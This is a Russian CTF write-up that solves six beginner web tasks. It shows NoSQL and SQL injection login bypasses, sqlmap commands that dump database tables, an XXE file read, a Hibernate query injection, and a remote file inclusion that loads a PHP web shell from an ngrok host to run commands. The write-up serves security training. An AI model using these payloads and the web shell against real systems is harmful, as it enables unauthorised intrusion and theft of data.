WEB100 с CTF Кибершколы

Привет! Буквально сегодня ночью закончился CTF на базе Кибершколы Сколково&Политеха, поэтому по просьбам участников решил накатать райтап на все таски. Поехали!

(Тк райтап получается большим, то некоторые моменты подробно расписывать не буду, пишите в комментарии, если что будет не понятно:)

WEB100 с CTF Кибершколы


EASY WEB 100: Bakery

WEB100 с CTF Кибершколы

Site: http://bakery.p.myctf.ru/

Давайте зайдем на сайт:

WEB100 с CTF Кибершколы

Потыкав на кнопочки, находим еще одну страницу /Sweet.html :

WEB100 с CTF Кибершколы

Как вы могли заметить:

1. Есть форма авторизации.
2. Много намеков на http cookie


Сразу предупрежу,

WEB100 с CTF Кибершколы
или проще говоря, печения были разводом и никак не относились к решению таска.


Вернемся к форме авторизации. Наигравшись в CTF'ы с сентября, уже по привычке стал тестировать формы на NoSQL injection ( https://habrahabr.ru/company/xakep/blog/143909/ ). И тут удача не обошла стороной:)

Внимание! У Вас нет прав для просмотра скрытого текста.


Скажем проще. У нас есть форма отправки логина и пароля, перехваченная в BurpSuite:

WEB100 с CTF Кибершколы

И вместо того, чтобы отсылать параметры login и password, мы отошлем login[$ne] и password[$ne], означающие что нам должен вернуться аккаунт, у которого логин и пароль будут НЕ идентичны с теми данными, которые отослали мы. Поэтому мы можем смело вписать в них случайные данные:

WEB100 с CTF Кибершколы

На этом таск можно считать решенным:)

Flag: N05Ql_1nject10n5_is_very_c00l



EASY WEB 100: Matrix

WEB100 с CTF Кибершколы

Site: http://matrix.p.myctf.ru/

Первый взгляд на главную страницу:

WEB100 с CTF Кибершколы

Работала только форма логина.

Ну на этот раз по классике проверяем ее на SQL injection.

Введем в поле логина строку
' or 1 -- 1

которая дополнит SQL запрос и попытается нас авторизовать под первого попавшегося пользователя. Тестируем и..

WEB100 с CTF Кибершколы

Авторизовались, перед нами Boolean-based SQL injection! Но флага нет.. Тогда попробуем использовать sqlmap и вытащим его из базы данных!

Запрос авторизации:

WEB100 с CTF Кибершколы

Строка запуска SQLmap:

sqlmap -u "http://matrix.p.myctf.ru/" --data="login=admin&password=pass" --level=5


level=5 означает подробную проверку, иначе уязвимость не находилась.

WEB100 с CTF Кибершколы

Обучать использованию sqlmap сейчас не буду, скажу только, что как только мы получили нужные названия базы и таблицы, то указываем их соответственно с аргументами -D и -T и приписываем аргумент --dump для скачивания данных:

sqlmap -u "http://matrix.p.myctf.ru/" --data="login=admin&password=pass" -D ctf -T flag --dump


Немного подождем, и получим флаг:

Flag: bl1nd_bu7_dan63r0u5




EASY WEB 100: Blackhat

WEB100 с CTF Кибершколы

Site: http://blackhat.p.myctf.ru/


Главная страница:
WEB100 с CTF Кибершколы

Боковая менюшка:

WEB100 с CTF Кибершколы


Что имеется на данный момент:

1. Форма загрузки файлов

2. По одной из ссылок меню XML файл.
<?xml version="1.0" encoding="ISO-8859-1"?>
<creds>
<user>user</user>
<pass>password</pass>
</creds>



Попробуем обьединить пункты и отослать данный файл:

WEB100 с CTF Кибершколы


Как видим строка помещенная в ... будет выводиться на экран.
Перед нами обыкновенная XXE уязвимость!

Подробнее о ней можете почитать тут - https://habrahabr.ru/company/pentestit/blog/325270/

Теперь мы можем прочитать любой файл в системе (если у пользователя есть права на чтение):

WEB100 с CTF Кибершколы

Нам остается подобрать путь до флага, который как позже оказалось хранился в корне под именем "flag":

WEB100 с CTF Кибершколы

You have logged in as ctf1017{Let_It_snow}


Переходим к следующему таску!


EASY WEB 100: Hipe

WEB100 с CTF Кибершколы

Site: http://hipe.p.myctf.ru/


Главная страница:

WEB100 с CTF Кибершколы

Каждая из кнопок над авторизацией ведет нас на страницу /haip.html :

WEB100 с CTF Кибершколы

Внимание! У Вас нет прав для просмотра скрытого текста.


Впринципе, нас тут интересует опять же только форма авторизации на главной странице. Попробуем вставить кавычку:

WEB100 с CTF Кибершколы

О, да у нас тут опять SQL injection! Опять же закидываем в SQLmap:

WEB100 с CTF Кибершколы

sqlmap -u http://hipe.p.myctf.ru/ --data="login=admin&password=password"


И результат работы:

WEB100 с CTF Кибершколы

Прекрасно, уязвимость найдена!

Пробуем получить данные из базы ctf и таблицы flag:

sqlmap -u http://hipe.p.myctf.ru/ --data="login=admin&password=password" -D ctf -T flag --dump


Вывод:

WEB100 с CTF Кибершколы

Ерунда какая то.. Давайте попробуем с помощью аргумента -C вручную указать, что у нас есть колонка flag (по аналогии с предыдущим таском на SQL injection):

sqlmap -u http://hipe.p.myctf.ru/ --data="login=admin&password=password" -D ctf -T flag -C flag --dump


WEB100 с CTF Кибершколы

Успех!
Flag: d0nt_sh0w_y0ur_3rr0r5



EASY WEB 100: Devil

WEB100 с CTF Кибершколы

Site: http://devil.p.myctf.ru/

Главная страница сайта:

WEB100 с CTF Кибершколы

Первая ссылка меню ведет на /FlagHere.html, где его, конечно же, нет:)

Вторая ссылка меню ведет на /MaybeHere.html, где тоже ничего интересного.

Третья ссылка меню ведет на /?page=flag, на которой надпись "Try harder! :)"


Обьединим то, что нас может заинтересовать:

1. Форма авторизации:

WEB100 с CTF Кибершколы

Яснопонятно - она фейковая:(


2. /?page=flag

Предположим, что мы отсылаем в page название файла, который будет отображаться.

Проверим, существует ли файл flag.php:

WEB100 с CTF Кибершколы

Наша теория подтвердилась! У нас есть уязвимость Local File inclusion (подробнее тут http://itsecwiki.org/index.php?title=Lfi)

Теперь мы можем получить содержимое файла flag.php (в случае, если в ней есть скрытый код) используя PHP wrapper (подробнее http://php.net/manual/ru/wrappers.php) :

php://filter/convert.base64-encode/resource=flag


WEB100 с CTF Кибершколы

Почему то не сработало..

Хорошо, а что, если тут присутствует Remote File inclusion (подробнее https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion)? Если вкратце, то уязвимость позволяет запускать код, который хранится на удаленном сервере.

Протестируем! Отошлем ссылку на countersite.org (обратите внимание, что .php в ссылку я не вписал тк он припишется кодом программы автоматически):

WEB100 с CTF Кибершколы

Ответ от сервера уже 29000 символов! Значит сервер сделал запрос на сайт и распечатал его содержимое -> уязвимость присутствует! Начнем эксплуатацию.


Запускаем локальный веб-сервер (127.0.0.1:80), запускаем утилиту ngrok (./ngrok http 80) для работы с ним из глобальной сети и получаем его адрес (в данный момент уже будет выключен) http://d914bb49.ngrok.io :

WEB100 с CTF Кибершколы

Теперь поместим на него файл shell.txt с содержимым:

<?php system($_GET['c']); ?>


После чего отошлем на него ссылку в формате http://d914bb49.ngrok.io/shell.txt? (знак ? в конце отбрасывает окончание .php, приписываемое автоматически кодом скрипта) и припишем GET переменную "c" с командой "pwd":

WEB100 с CTF Кибершколы

Она исполнилась! Теперь мы можем исполнять любую команду на сервере!

Прочитаем флаг командой cat flag.php:

WEB100 с CTF Кибершколы

А вот и флаг:)

<?php
    $FLAG = "ctf1017{I_l0ve_all_files_in_this_w0rld}";
    echo "Try harder! :)";
?>


P.S. заглянул в код index.php - вариант с php wappers не сработал, тк создатель таска отключил возможность их использования.



EASY WEB 100: Mail-service

WEB100 с CTF Кибершколы

Site: http://venus.p.myctf.ru/

Главная страница сайта:

WEB100 с CTF Кибершколы

У нас одна форма, начнем тестирование опять же на SQL injection. Строка почты должна начинаться с почтового вида (например, t@t.t), иначе высвечивается следующая ошибка:

WEB100 с CTF Кибершколы


Чекаем:

WEB100 с CTF Кибершколы

Вероятнее всего уязвимость присутствует. Но в ходе тестирования наблюдалось неадекватное поведение. Вероятнее всего это не простая SQL injection.

Давайте заглянем в html комментарии страницы:

WEB100 с CTF Кибершколы

<!-- Powered by Apache Tomcat, Hibernate 5.2 and JSP 1.1 -->


Сразу после этого я начал яростно гуглить и нагуглил следующее https://xakep.ru/2015/12/31/easy-hack-hibernate-ql/.

Если вкратце, то вместо одинарной кавычки ' нужно писать \''.
Например, запрос
t@t.t' or 1=1 -- 1

должен быть записан как
t@t.t\'' or 1=1 -- 1


К тому же, если мы хотим вписать строку, то для этого лучше использовать либо двойную кавычку ", либо 0x.


Забиваем в SQLmap следующее (--hex отвечает за кодирование ввода/вывода, --level=5 за количество тестов):

sqlmap -u http://venus.p.myctf.ru/submit.html --data="email=t@t.t\'&reason=123" --hex --level=5


WEB100 с CTF Кибершколы

Далее получаем флаг (из-за лагов базы данных и количестве полей в нужной таблице пришлось вручную писать запрос) :

sqlmap -u http://venus.p.myctf.ru/submit.html --data="email=t@t.t\'&reason=123" --hex --level=5 -D askme --sql-query="select flag from _flag where flag like 0x253130313725"


И получаем флаг!

ctf1017{N3v3r_7ru57_0rm_3v3r11}



P.S. Как будет время напишу райтапы на задания посложнее.скачать dle 10.5фильмы бесплатно

  • Автор: drakylar
  • Комментарии: 0
  • Просмотры: 643

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!